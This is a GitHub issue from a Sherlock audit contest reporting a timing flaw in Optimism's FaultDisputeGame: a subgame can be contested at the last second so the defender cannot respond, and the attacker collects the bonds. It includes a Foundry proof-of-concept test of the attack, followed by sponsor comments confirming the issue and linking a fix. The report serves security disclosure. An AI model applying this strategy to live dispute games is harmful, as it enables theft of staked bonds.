Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

haxatron - Subgames can be won at the last second #8

Closed
sherlock-admin2 opened this issue Apr 4, 2024 · 3 comments
Closed

haxatron - Subgames can be won at the last second #8

sherlock-admin2 opened this issue Apr 4, 2024 · 3 comments
Labels
Non-Reward This issue will not receive a payout Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed

Comments

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Apr 4, 2024

haxatron

high

Subgames can be won at the last second

Summary

Subgames can be won at the last second

Vulnerability Detail

There is a strategy to win subgames by contesting the subgame at the last second of the expiration of the subgame root's clock. When this happens, the newly added attacker node will be uncountered because the opponent cannot react fast enough, and therefore the root node will be countered.

The condition for a subgame to be resolvable is that the time of contesting the subgame root plus the parent clock duration must be greater than the GAME_DURATION / 2.

FaultDisputeGame.sol#L411-L417

        uint64 parentClockDuration = parent.clock.duration().raw();
        uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();
        if (parentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) {
            revert ClockNotExpired();
        }

This effectively means the contest of the subgame can be at the last second and the opponent cannot react fast enough.

Therefore it would be possible to win the subgames and the bonds these way. Attached is a Foundry PoC documenting this strategy.

    function test_resolve_frontrunResolution() public {
        Claim claim = _dummyClaim();
        uint256 firstBond = _getRequiredBond(0);
        vm.deal(address(this), firstBond);
        gameProxy.attack{ value: firstBond }(0, claim);

        uint256 secondBond = _getRequiredBond(1);
        vm.deal(address(this), secondBond);
        gameProxy.attack{ value: secondBond }(1, _dummyClaim());

        // Setup our attacker
        address attacker = address(0xDEADBEEF);

        // Oh, oh, attacker contests it at the last second
        vm.warp(block.timestamp + 3 days + 11 hours + 59 minutes + 59 seconds);
        uint256 thirdBond = _getRequiredBond(2);
        vm.deal(attacker, thirdBond);

        vm.prank(attacker);
        gameProxy.attack{ value: thirdBond }(2, _dummyClaim());

        // Don't have time to react
        vm.warp(block.timestamp + 2 seconds);

        // Attacker claims both bonds.
        gameProxy.resolveClaim(3);
        gameProxy.resolveClaim(2);
 
        // Wait for the withdrawal delay.
        vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

        gameProxy.claimCredit(attacker);
        assertEq(attacker.balance, _getRequiredBond(1) + _getRequiredBond(2));
    }

Impact

Always win a subgame and theft of bonds

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L411-L417

Tool used

Manual Review / Foundry

Recommendation

Come up with another way for subgames to be able to resolved.

@smartcontracts
Copy link

We believe this to be a valid issue that would be out of scope of this contest because it pertains to the FaultDisputeGame resolution logic (see "Please list any known issues/acceptable risks that should not result in a valid finding" section in the Q&A). However, because we've noted some ambiguity in the intended phrasing of the Q&A, we would like to reward this report outside of this contest. We are currently coordinating to determine reward amounts and which platform will be used to distribute the reward.

@sherlock-admin4
Copy link

The protocol team fixed this issue in the following PRs/commits:
ethereum-optimism/optimism#10148

@nevillehuang
Copy link
Collaborator

Based on scope details below, any issue related to FDG/FDG subgames resolution logic will be considered OOS of this contest if airgap and/or delayed WETH mechanism implemented for off-chain review of game results and bond distribution is not shown to be bypassed

https://docs.google.com/document/d/1xjvPwAzD2Zxtx8-P6UE69TuoBwtZPbpwf5zBHAvBJBw/edit

@nevillehuang nevillehuang removed the High A valid High severity issue label Apr 22, 2024
@sherlock-admin3 sherlock-admin3 changed the title Flat Fleece Snail - Subgames can be won at the last second haxatron - Subgames can be won at the last second Apr 23, 2024
@sherlock-admin3 sherlock-admin3 added Non-Reward This issue will not receive a payout and removed Has Duplicates A valid issue with 1+ other issues describing the same vulnerability labels Apr 23, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Non-Reward This issue will not receive a payout Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed
Projects
None yet
Development

No branches or pull requests

5 participants